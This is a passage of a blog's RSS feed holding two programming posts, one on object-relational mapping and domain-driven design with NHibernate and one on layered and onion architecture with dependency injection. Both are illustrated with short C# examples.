<p><strong>That was all what O/RM is</strong>, really. There are plenty other different features that various ORM products offer (lazy-load, futures, caching, associations, projection, batching, etc), but at the very core of all, the <em>ultimate </em>goal of every O/RM products is just that: the ability to &#8220;pretend&#8221; like a normal object Collection and to pretend like there is no database. At least that&#8217;s the goal, which is easier said than done. That feature might not sound such a big deal, but this is nonetheless the very essence of ORM, the one thing without which Domain-Driven-Design code would not be possible (on RDBMS).</p>
<h1>O/RM And Domain Driven Design</h1>
<p>I’m hoping to expand on <a href="http://en.wikipedia.org/wiki/Domain-driven_design" target="_blank">DDD </a>topic in later posts, but in a nutshell, our objects are <em>not </em>data bags. Your Customer object, a domain entity, might indeed hold some properties: name, email-address, accounts, credit-limits, etc, but more importantly, it represents the concept of Customer in your domain, and what really matters about it is its behaviors. It is domain behaviors that you’re trying to model as your domain objects. You don’t <em>change </em>the Address <em>property </em>of a Customer, instead the customer might <strong>move home</strong>. An Employee does not <em>change </em>its Salary <em>property</em>, instead the Employee might get a <strong>pay-rise</strong>, or maybe a <strong>promotion</strong>. We don’t just <em>change </em>the Balance of your bank account; we either <strong>Deposit()</strong>, <strong>Withdraw()</strong>, or <strong>Transfer()</strong> some money into bank accounts.</p>
<p>It is, however, extremely hard to write domain-driven code without ORM. I have worked in several projects without ORM on top of RDBMS, and I have to say that there can possibly be only one possible outcome: the objects are designed as normalised bags of properties whose role is merely to hold data to be loaded and saved into database tables. This anti-pattern popularly goes by the name of <a href="http://martinfowler.com/bliki/AnemicDomainModel.html" target="_blank">Anemic-Domain-Model</a>.<br />
The reason ORM takes an exclusive post in this blog series is exactly because I believe ORM is an absolute prerequisite of implementing DDD on top of relational persistence.</p>
<p>Let me present you with the ubiquitous sales-cart example. We&#8217;re an online book-store who sells books and magazine subscription. Let&#8217;s write a method to add a product into customer&#8217;s sales cart. Note that when we add a magazine subscription to the sales cart (which will charge weekly/monthly), the customer will have to re-read and re-agree on the Terms and Conditions of the sale again.</p>
<p>Here&#8217;s one implementation, without ORM:</p>
<p><pre class="brush: csharp;">
public void AddToSalesCart(Customer customer, string productCode, int quantity)
{
   var salesCart = SalesCartDao.GetCartByCustomerId(customer.Id);
   var product = ProductDao.GetByCode(productCode);
   var cartItem = CartItemDAO.GetBySalesCartIdAndProductCode(salesCart.Id, productCode);

   if(cartItem != null)
   {
      cartItem.Quantity += quantity;
      CartItemDAO.Update(cartItem); // &lt;- persistence
      }
   else
   {
      cartItem = new CartItem
      {
         salesCartId = salesCart.Id,
         ProductId = product.Id;
         Quantity = quantity;
      }
      CartItemDAO.Insert(cartItem); // &lt;- persistence
   }

   if(product.IsSubscription &amp;&amp; salesCart.IsTermsConditionAgreed)
   {
       salesCart.IsTermsConditionAgreed = false;
      SalesCartDao.Update(salesCart); // &lt;- persistence
   }
}
</pre></p>
<p>The code above is written as a sequence of procedural instructions that puts values on dumb data-bags, which will in turn be used to generate update/insert SQL statements. This kind of code is known as <a href="http://martinfowler.com/eaaCatalog/transactionScript.html" target="_blank">transaction-script</a> (anti-pattern). Unfortunately you cannot encapsulate this logic into domain methods (e.g. <span style="color:#333399;">salesCart.AddProduct(product, quantity)</span>), because then we don&#8217;t have a way to keep track of the changes that the method may make to object states (what table to update/insert). I.e., we have no way to synchronise the state changes back to the database. For this reason, all the objects need to stay as dumb as possible, only containing properties to hold data, and have no method.</p>
<p>ORM changes the game. It allows you to add behaviors to your domain-models because you no longer have to worry about keeping track of state changes. So the code above can be implemented into domain-driven code as such:</p>
<p><pre class="brush: csharp;">
public void AddToSalesCart(Customer customer, string productCode, int quantity)
{
   var salesCart = salesCartRepository.Where(s=&gt; s.Customer == customer).First();
   var product = productRepository.Where(p=&gt; p.Code == productCode).First();

   salesCart.AddProduct(product, quantity);
}

public class SalesCart
{
   public void AddProduct(product, quantity)
   {
      var cartItem = items.Where(i=&gt; i.Product == product).First();
      if(cartItem == null)
      {
         cartItem = new CartItem { Product = product};
         items.Add(cartItem);
      }
      cartItem.Quantity += quantity;

      if(product.IsSubscription)
         IsTermConditionAgreed = false;
   }
}
</pre></p>
<p>PS: I&#8217;ll discuss about &#8220;<em>repository</em>&#8221; further down, but for now, let&#8217;s just say I just renamed DAO into Repository.</p>
<p>In web applications, the code above would probably use session-per-request pattern. Here&#8217;s the brief flow of the pattern:</p>
<ol>
<li> When we receive a web-request from the client, the plumbing will start an NHibernateSession. This session will start to track all changes within this web-context.</li>
<li> We pulls from repositories all domain entities that are required to perform the user request. (Line 3-4)</li>
<li> We invoke domain methods on the entities. (Line 13-22)</li>
<li> When we finish processing the request, and send the response back to the client, the plumbing will flush the session, thus saving all changes made in step #2 and #3 to the database.</li>
</ol>
<p>This way, all the persistence tracking is done by the plumbing. Freed from traking and saving state changes, we are now able to implement our AddProduct logic as a domain method within SalesCart entity, which as you can see, contains no reference to any persistence concern (update/insert). The virtue of POCO/persitence-ignorance.<br />
The application should not access any property under SalesCart directly. Everything has to go via domain methods of SalesCart, because it&#8217;s the Aggregate-Root, which we&#8217;ll discuss shorty.</p>
<p>Also notice another subtle thing. In the previous code, we reference entities by IDs (e.g. CustomerId, ProductId, SalesCartId), which demonstrates a very relational mindset. The reason it&#8217;s done that way is because referencing entities by objects would be an inefficient way from persistence viewpoint. You would have to load the whole entity even when ID would suffice. In the refactored code, objects associations are modeled in a natural way that reflects both domain-driven-design as well as just basic OOP we learned in school. ORM promotes this without compromising performance thanks to lazy-loading. I.e., the 2 following lines are almost exactly equivalent:</p>
<p><pre class="brush: csharp;">
salesCart.CustomerId = customerId;
salesCart.Customer = session.Load&lt;Customer&gt;(customerId);
</pre></p>
<p>The second line does not make any database-call. It will only return a proxy with that customerId. The nice thing is, unlike customerId, the proxy object still acts as the actual Customer object: it will load from the database the first time we need it, e.g. when accessing <span style="color:#333399;">salesCart.Customer.FirstName</span>. This is yet another trick ORM pulls to pretend that &#8220;<em>there is no database</em>&#8221; without hurting performance.</p>
<h2>Aggregate Root</h2>
<p>SalesCart is an Aggregate-Root, another DDD concept. In essence, an Aggregate Root is an entity that consumers refer to directly, representing a consistency boundary. Aggregate-roots are the only kind of entity to which your application may hold a reference. Each aggregate-root composes and guards its sub-entities, and is persisted as a single unit. This helps avoid the mess (like in previous approach) because you now have a constraint that prevents you from creating a tight coupling to each individual sub-entities.<br />
In our example, SalesCart is an aggregate-root. CartItem is not; it&#8217;s merely part of SalesCart aggregate. SalesCart is our single entry-point to the aggregate (e.g. to add a product). You can&#8217;t access CartItem directly outside the aggregate boundary, similary you don&#8217;t have repository or DAO for CartItem. It&#8217;s persisted as part of SalesCart (cascade update/insert/delete). Aggregate concept is a key rule that simplifies domain persistence greatly.</p>
<h1>Infrastructure Is Skin Deep</h1>
<p>After our <a href="http://hendryluk.wordpress.com/2009/08/17/software-development-fundamentals-part-2-layered-architecture/"></a><a href="http://hendryluk.wordpress.com/2009/08/15/software-development-fundamentals-part-i/">previous </a>posts, I hope by now we have agreed on one thing: infrastructure should sit at the outer skin of the application. Our infrastructure concern, in this case, is where and how we persist our domain objects. Before ORM, during the time when building an application was an act of writing some codes to execute a series of SQL statements to JDBC/ADO.NET, it was not possible to pull out database concerns away from our application code without making an unacceptable amount of degradation in performance.</p>
<p>ORM lets you to do exactly that. It hides away the database plumbing so it is not visible from the surface. It replaces the notion of database with something that looks and smells like a normal object Collection. In DDD, this collection of domain objects is known as “<strong>Repository</strong>”.</p>
<h2>Repository</h2>
<p>It’s a common mistake to take the term repository as another name for DAO. They might look similar but they are different in  principle. If anything, Repository is another name for <span style="color:#003366;">ICollection</span>, and  rightly so. Repeat 3 times, Repository == ICollection: a component that  holds references to your objects, allowing you to Get/Find the objects  back, and it keeps track of the changes and lifecycles of the objects.  Just like an ICollection, it may have various implementations, like  ArrayList, Dictionary, perhaps HttpSession, serialized files, or in our case, a  relational database. These implementations are insignificant: they sit  right at the outer skin of the application, and they are therefore  swappable.</p>
<p>Just to remind you with the diagram from the previous post a year back:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image_thumb5.png"><img class="alignnone size-full wp-image-608" title="image_thumb.png" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb5.png" alt="" width="614" height="304" /></a></p>
<p><span style="color:#003366;">IRepository&lt;T&gt;</span> interface sits comfortably in <span style="color:#003366;">Sheep.Domain.Services</span> at the POCO core of the system. Using ORM, our repository is able to pretend to be a POCO collection. In <span style="color:#003366;">Sheep.Infrastructure.Data</span>, we have an implementation of the repository (<span style="color:#003366;">NHibernateRepository&lt;T&gt;</span>) that uses NHibernate to manage the persistence to a relational database. At runtime, this implementation will be injected to the core by IoC container. Note that Sheep.Infrastructure.Data is the only namespace with any reference to <span style="color:#003366;">System.Data</span> and <span style="color:#003366;">NHibernate</span>. Outside this namespace, IRepository pretends to be a POCO object collection.</p>
<h1>Testability</h1>
<p>ORM frameworks abstract your database plumbing into a unified abstraction such like standard object collection. Having this abstraction means that your code is not dependent to specific persistence mechanism. Linq is another language-level abstraction available to .net developers, which nHibernate also leverages. This combination, not only provides ability to substitute your persistence easily between in-memory, web-services, distributed-hash-table, and relational-database, but it also means you can replace the actual mechanism with much simpler fake implementation for testing purpose.</p>
<p>We’ll use the code from our previous code as an example:</p>
<p><pre class="brush: csharp;">
public class AuthenticationService: IAuthenticationService
{
    IRepository&lt;User&gt; userRepository;
    ICommunicationService communicationService;

    public UserAuthenticationService(IRepository&lt;User&gt; userRepository, ICommunicationService communicationService)
    {
        this.userRepository = userRepository;
        this.communicationService = communicationService;
    }

    public void SendForgottenPassword(string username)
    {
        User user = userRepository.Where(u=&gt; u.Username == username).First();
        user.ResetPinWith(PinGenerator.GenerateRandomPin());
        if(user != null)
            communicationService.SendEmail(user.EmailAddress, String.Format(&quot;Your new PIN is {0}&quot;, user.Pin));
    }
}
</pre></p>
<p>Here is the unit-test code:</p>
<p><pre class="brush: csharp;">
// Arrange
ICommunicationService mockCommunicationService = MockRepository.CreateMock&lt;ICommunicationService&gt;();
IRepository&lt;User&gt; userRepository = new ArrayListRepository&lt;User&gt;();
var user = new User{UserName = “Sheep”, EmailAddress=”test@test.com”, Pin = “123123”};
userRepository.Add(user);

// Action
var authenticationService = new AuthenticationService(userRepository, mockCommunicationService);
authenticationService.SendForgottenPassword(“Sheep”);

// Assert
Assert.That(user.Pin, Is.Not.EqualTo(“123123”), “Password should be reset”);
mockCommunicationService.AssertCalled(x=&gt; x.SendEmail(”test@test.com”, String.Format(“Your new PIN is {0}”, user.Pin));
</pre></p>
<p>As you can see, <span style="color:#003366;">AuthenticationService </span>in our unit-test above uses a simple implementation of <span style="color:#003366;">IRepository </span>(<span style="color:#003366;">ArrayListRepository</span>) via dependency-injection. Like <span style="color:#003366;">ArrayList</span>, this <span style="color:#003366;">ArrayListRepository </span>simply holds its objects in a variable-size memory list, and is not backed by any persistent database. During runtime, however, <span style="color:#003366;">AuthenticationService </span>will be using a repository that is backed by database-engine via ORM (e.g. <span style="color:#003366;">NHibernateRepository</span>). This is normally done by configuring your IoC container, but if it’s to be written by plain code, it would look like:</p>
<p><pre class="brush: csharp;">
var authenticationService = new AuthenticationService(new NHibernateRepository&lt;User&gt;(nhSession), emailService);
authenticationService.SendForgottenPassword(“Sheep”);
</pre></p>
<p>This way, <span style="color:#003366;">NHibernateRepository </span>can sit right at the edge of the application. Our application code (<span style="color:#003366;">AuthenticationService</span>, in this case) does not have to be aware of the relational database, or the ORM. In term of .net speak, your domain projects should not have any reference to <span style="color:#003366;">System.Data</span> or <span style="color:#003366;">NHibernate </span>assemblies. Only your outmost layer (Infrastructure and IoC projects) should know about these assemblies.</p>
<h1>Model First Development</h1>
<p>That all POCO talk in ORM endorses a development flow that starts with you modeling your domain entities as POCO objects, focusing on shaping their behaviours and relationships, without touching any persistence concerns. This development style facilitates Agile, since we no longer need to use any database during early stage of development, which is by plugging Hibernate to an in-memory database (e.g. Sqlite, HSql, SqlCE), so we can focus on evolving our object models and behaviors without getting the friction from database schema in the way. We just go ahead and think in objects and behaviors; we don’t need to think about tables, foreign-keys, joins, CRUD, normalization, etc. <a href="http://fluentnhibernate.org/" target="_blank">Fluent NHibernate</a> greatly smoothens out this methodology</p>
<p>Only at the later stage when we’re already happy with our business code that we would start looking at database infrastructure details, which is actually as simple as plugging our ORM to a real database (Oracle, SqlServer, MySql, etc). NHibernate will do the rest, including generating all the SQL to create all the table schemas for us.<br />
In Agile, it’s highly imperative to delay infrastructure concerns for as long as possible to stay adaptive to changes.</p>
<h1>Convention over Configuration</h1>
<p>Common resistance of adopting ORM in projects is the sheer complexity of its configuration, particularly in Java side (Hibernate). It’s probably fine in Java: application development in Java is full of XML from nose to toes, verbose, and no one seems to mind about that. But that does not fit very well to .Net development culture where codes are concise, boilerplate codes are plague, XMLs are grotesque beasts, and developers aren’t particularly keen of spending whole afternoon on XML configs before even seeing any running application.</p>
<p>That drove the need for a tool like<a href="http://fluentnhibernate.org/"> Fluent NHibernate</a> that allows you to “configure” your ORM using convention. I’m not going to bore you with the detail, but in general, it almost frees you completely from having to configure anything for your ORM to just work and save your objects to your database like magic. It lends itself to model-first-development with zero-friction. You simply go ahead and write your domain objects, then NHibernate will figure out the rest. You can immediately save your objects to the database (and query it), without even touching any mapping configuration from your side. It all sounds too magical. Fluent NHibernate allows this by inspecting your entities and properties, and automatically uses conventions to automatically generate table schemas, column definitions, associations, and constraints for you (e.g. if you choose pluralization, a Person class will be automatically mapped into a generated table named CRM_PEOPLE). You can always then stray away from this convention in a case-per-case basis when necessary by overriding the configuration using its fluent API for your specific entities.</p>
<p>The same capability is also available in Entity Framework since .Net 4.0.</p>
<h1>Finally</h1>
<p>I have to admit I overhyped many things quite a bit there. Most ORMs suffer from what we call leaky abstraction. There is an impedance mismatch between relational database and object-oriented language. Abstracting relational database into ICollection look-alike is incredibly hard, which is why we need ORM in the first place. It needs a good understanding in how ORM works under the hood in order to use it effectively, and it is very hard.  There are luckily some tools that can greatly assist you in doing so like <a href="http://nhprof.com/">NHibernate Profiler</a>. It analyses the way you use NHibernate, and give you useful advices and warnings when it detects performance problems that might need to be looked at. The existence of such a dedicated commercial tool in a way only highlights how complex ORM framework like NHibernate is.</p>
<p>These complexities with ORM frameworks fueled CQRS architecture and NoSql movement. Now that I have finally got this ORM chat out of the way, hopefully I will get to write some post about these new topics, or rather, about what I have learnt from NoSql and CQRS buzz so far. And now about this series. Next posts will probably cover TDD and DDD, hopefully not after another year of disappearance.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/development-practice/'>Development Practice</a>, <a href='http://hendryluk.wordpress.com/tag/domain-driven-design/'>Domain Driven Design</a>, <a href='http://hendryluk.wordpress.com/tag/nhibernate/'>nHibernate</a>, <a href='http://hendryluk.wordpress.com/tag/orm/'>ORM</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/699/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/699/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/699/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/699/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/699/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/699/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/699/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/699/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=699&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2010/07/31/software-development-fundamentals-part-3-object-relational-mapping/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb5.png" medium="image">
			<media:title type="html">image_thumb.png</media:title>
		</media:content>
	</item>
		<item>
		<title>Software Development Fundamentals, Part 2: Layered Architecture</title>
		<link>http://hendryluk.wordpress.com/2009/08/17/software-development-fundamentals-part-2-layered-architecture/</link>
		<comments>http://hendryluk.wordpress.com/2009/08/17/software-development-fundamentals-part-2-layered-architecture/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 11:45:20 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Development Practice]]></category>
		<category><![CDATA[Domain Driven Design]]></category>
		<category><![CDATA[Inversion of Control]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/2009/08/17/software-development-fundamentals-part-2-layered-architecture/</guid>
		<description><![CDATA[This is part of a series of introductory guidelines for software development. It&#8217;s a continuation of the previous post about Dependency Injection. One of the primary reasons to adopt Dependency Injection is that it is impossible to achieve a good layered architecture without it. Many people say that IoC container is only beneficial if you [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=609&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is part of a series of introductory guidelines for software development. It&#8217;s a continuation of the <a href="http://hendryluk.wordpress.com/2009/08/15/software-development-fundamentals-part-i/" target="_blank">previous post</a> about Dependency Injection. </p>
<p>One of the primary reasons to adopt Dependency Injection is that it is impossible to achieve a good layered architecture without it. Many people say that IoC container is only beneficial if you are doing test-driven-development. I disagree. I just don&#8217;t understand how you can even build a layered architecture at all without IoC. </p>
<p>First, let&#8217;s take a moment to define layered architecture. There is a common misconception about layered architecture, which is largely contributed by misleading diagrams in most textbooks and articles. This is how layered architecture often described in textbooks. </p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image.png"><img title="image" style="border-right:0;border-top:0;display:inline;border-left:0;border-bottom:0;" height="326" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb.png?w=511&#038;h=326" width="511" border="0" /></a> </p>
<p>I think that’s rather deceptive. Unfortunately, beginner developers often take this diagram too literally. Each layer depends on the layers below it. Presentation layer depends on business-layer, and then both depend on data-access layer. </p>
<p>There is a huge flaw in that diagram. <strong>Data-access layer should be at the outmost part of application. Business layer should be at the core</strong>! But in this diagram, Data-access layer is becoming the core foundation of the whole application structure. It is becoming the critical layer. Any change on data-access layer will affect all other layers of the application. </p>
<p>Firstly, this architecture shows an incongruity. Data-access layer, in reality, can never be implemented without dependencies to business detail. E.g. DbUserRepository needs a dependency to User. So what often happens is developers start introducing a circular dependency between Business layer and DataAccess layer. When circular dependency happens between layers, it’s no longer a layered architecture. The linearity is broken. </p>
<p>Secondly, which is more important, this architecture tightly couples the whole application to infrastructure layer. Databases, Web-service, configurations, they are all infrastructure. This structure could not stand without infrastructure. So in this model, developers build the system starting from writing the infrastructure plumbing first (e.g. designing database-tables, drawing ERD diagram, environment configuration), then followed by writing the business code to support the infrastructure. </p>
<p>It&#8217;s a bit upside-down and not quite the best approach. If business-layer couples itself with infrastructure concerns, it&#8217;s doing way too much. Business layer should know nothing about infrastructure. It should be in the very core of the system. Infrastructure is only a plumbing to support the business-layer, not the other way around. Infrastructure details are most likely to change very frequently, so we definitely do not want to be tightly coupled to it. </p>
<p>Business layer is an area where you have the real meat of your application. You want it to be clean of any infrastructure concern. Development starts from domain-code, not data-access. You want to write the business code right away without setting up or even thinking about the plumbing. One of the guideline in previous post is that we want <strong>classes within business layer to be POCO</strong>. All classes in business layer should describe purely domain logic WITHOUT having any reference to infrastructure classes like data-access, UI, or configuration. Once we have all domain layer established, then we can start implementing infrastructure plumbing to support it. We get all our domain models baked properly first, before we start thinking about designing the database tables to persist them. </p>
<p>So this is a more accurate picture for layered architecture. </p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image1.png"><img title="image" style="border-right:0;border-top:0;display:inline;border-left:0;border-bottom:0;" height="316" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb1.png?w=604&#038;h=316" width="604" border="0" /></a> </p>
<p>Infrastructure sits at the top of the structure. Domain layer is now the core layer of the application. It doesn’t have any dependency to any other layer. From code perspective, Domain project does not have any reference to any other project, or any persistence library. Databases, just like other <strong>infrastructure</strong> (UI, web-services), are <strong>external to the application, not the centre</strong>. </p>
<p>Thus, there is no such thing as &quot;database application&quot;. The application might use database as its storage, but simply because we have some external infrastructure code in the neighbourhood implementing the interfaces. The application itself is fully decoupled from database, file-system, etc. This is the primary premise behind layered architecture. </p>
<p>Alistair Cockburn formalizes this concept as <a href="http://alistair.cockburn.us/Hexagonal+architecture" target="_blank">Hexagonal Architecture</a>, so does Jeffrey Palermo as <a href="http://jeffreypalermo.com/blog/the-onion-architecture-part-1/" target="_blank">Onion Architecture</a>, but they truly are merely formalized vocabularies to refer to the old well-known layered architecture wisdom. </p>
<h1>Onion Architecture</h1>
<p>To describe the concept, let&#8217;s switch the diagrams into onion-rings. Jeffrey Palermo describes bad layering architecture as follows:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image2.png"><img title="image" style="border-right:0;border-top:0;display:inline;border-left:0;border-bottom:0;" height="263" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb2.png?w=262&#038;h=263" width="262" border="0" /></a> </p>
<p>In onion diagram, all couplings are toward the centre. The fundamental rule is that all code can only depend on layers more central, never on the layers further out from the core. This way, you can completely tear out and replace the skin of the onion without affecting the core. But you can&#8217;t easily take away the core without breaking all outer layers. </p>
<p>In the diagram above, the infrastructure sits in the core of the onion. It becomes an unreplaceable part of the system. The structure cannot stand without infrastructure layer in the core, and the business layer is doing too much by embracing the infrastructure. </p>
<p>This is the better architecture model:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image3.png"><img title="image" style="border-right:0;border-top:0;display:inline;border-left:0;border-bottom:0;" height="263" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb3.png?w=376&#038;h=263" width="376" border="0" /></a> </p>
</p>
<p>UI and infrastructure sits right at the edge skin of the application. They are replaceable parts of the system. You can take the infrastructure layer completely and the entire structure stays intact. </p>
<h1>Implementation</h1>
<p>Take a look at the diagram again. </p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image1.png"><img title="image" style="border-right:0;border-top:0;display:inline;border-left:0;border-bottom:0;" height="316" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb1.png?w=604&#038;h=316" width="604" border="0" /></a> </p>
<p>If you follow the <a href="http://hendryluk.wordpress.com/2009/08/15/software-development-fundamentals-part-i/" target="_blank">previous post</a>, we were building &quot;resend PIN to email&quot; functionality. AuthenticationService is in the domain layer at the core of application, and it does not have knowledge about SMTP client or database (or even where User information is stored). Notice that DbUserRepository and SmtpService are in outmost layer of the application, and they depend downward on the interfaces in the core (IUserRepository, IEmailService) and can implement them. Dependency Injection is the key.</p>
<p><pre class="brush: csharp;">
public class AuthenticationService: IAuthenticationService
{
	IUserRepository userRepository;
	ICommunicationService communicationService;
	
	public UserAuthenticationService(IUserRepository userRepository, ICommunicationService communicationService)
	{
		this.userRepository = userRepository;
		this.communicationService = communicationService;
	}
	
	public void SendForgottenPassword(string username)
	{
		User user = userRepository.GetUser(username);
		if(user != null)
			communicationService.SendEmail(user.EmailAddress, String.Format(&quot;Your PIN is {0}&quot;, user.PIN));
	}
}
</pre></p>
<p>At runtime, IoC container will resolve the infrastructure classes that implement the service interfaces (IUserRepository, ICommunicationService) and pass them into UserAuthenticationService constructor.    </p>
<h2>Project Structure</h2>
<p>My typical project structure looks like this in Visual Studio: </p>
<p><a><img title="image" style="border-right:0;border-top:0;display:inline;margin-left:0;border-left:0;margin-right:0;border-bottom:0;" height="701" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb4.png?w=240&#038;h=701" width="240" align="left" border="0" /></a> </p>
<p>I separate each layer into its own project. One of the benefits is that it physically enforces linear dependencies. Each layer can only depend on the layer below it. If a developer introduces a circular dependency between Domain layer and Data-Access, Visual Studio (or Java&#8217;s Eclipse) won&#8217;t even compile. Here is how these projects work together within the architecture: </p>
<p><a href="http://hendryluk.files.wordpress.com/2009/08/image5.png"><img title="image" style="border-right:0;border-top:0;display:inline;border-left:0;border-bottom:0;" height="304" alt="image" src="http://hendryluk.files.wordpress.com/2009/08/image_thumb5.png?w=614&#038;h=304" width="614" border="0" /></a> </p>
<p>Every component depends only to the components in the layer below it. As you can see, the only project that has reference to <font face="Courier New" color="#800000">System.Data</font> and NHibernate library is <font face="Courier New" color="#800000">Sheep.Infrastructure.Data</font>. Likewise, the only project with <font face="Courier New" color="#800000">System.Web.Services</font> reference is <font face="Courier New" color="#800000">Sheep.Infrastructure.BackEnds</font>. And none of those infrastructure projects is referenced by any other part of the application (and this is enforced by Visual Studio). Therefore, they can be totally taken away and replaced without affecting the application core. On the flip side, the whole infrastructure layer is tightly coupled on the core layer. </p>
<p>Domain layer is POCO. It does not depend on any other project, and it does not contain any reference to any dll for particular technology. Not even to IoC framework. It contains just pure business logic code. In order to be executed, this assembly has to be hosted either within a system that can provide infrastructure implementation, or within test system that provides mock dependencies. Hence notice that we have 2 versions of top-level skins in the structure: <em>Infrastructure</em> and <em>Test</em>. </p>
<p>So what’s the benefit?</p>
<ol>
<li>Domain layer is now clean of infrastructure concern. Developers actually write business code in human readable language, not a messy pile of SQL statements/NHibernate, socket programming, XML document, or other alien languages</li>
<li>You can write domain code straight from the start without system consideration or waiting for infrastructure implementation. I.e. you don’t need a database at early stage of development, which is invaluable because you eliminate the overhead of keeping your database schemas in sync with domain models that are still shaky and keep changing every few minutes.</li>
<li>The application core can be deployed for any client or any infrastructure, as long as they can provide the implementation for the service interfaces required by the domain layer.</li>
</ol>
<p>Basically, it all describes <em><a href="http://en.wikipedia.org/wiki/Single_responsibility_principle" target="_blank">Single Responsibility Principle</a></em> (each class should only have 1 reason to change). In the classic diagram, being tightly coupled to data-access layer, domain layer needs to change because of some changes in infrastructure details. Whereas in layered architecture, you can completely tear apart the infrastructure layer at the skin, and replace with arbritary implementation without even leaving a dust on any domain class at the core. Thus there is only 1 reason the classes in domain layer need to change: when the business logic changes.</p>
<p>Having said that, this architecture is not necessarily the best approach for all kind of applications. For simple form-over-data applications, <a href="http://en.wikipedia.org/wiki/Active_record_pattern" target="_blank">Active-Record</a> approach is probably better. It couples the whole application with data-access concern, but it allows a rapid pace of data-driven development. However, for most non-trivial business applications, loose coupling is a very crucial piece for maintainability. </p>
<p>This whole post is actually an introduction to our next dicussion about <a href="http://en.wikipedia.org/wiki/Domain-driven_design">Domain Driven Design</a> in some later post. <br />To be continued in part 3, Object Relational Mapping</p>
<br /> Tagged: Architecture, Development Practice, Domain Driven Design, Inversion of Control <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/609/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/609/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/609/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/609/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/609/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/609/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/609/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/609/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=609&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/08/17/software-development-fundamentals-part-2-layered-architecture/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

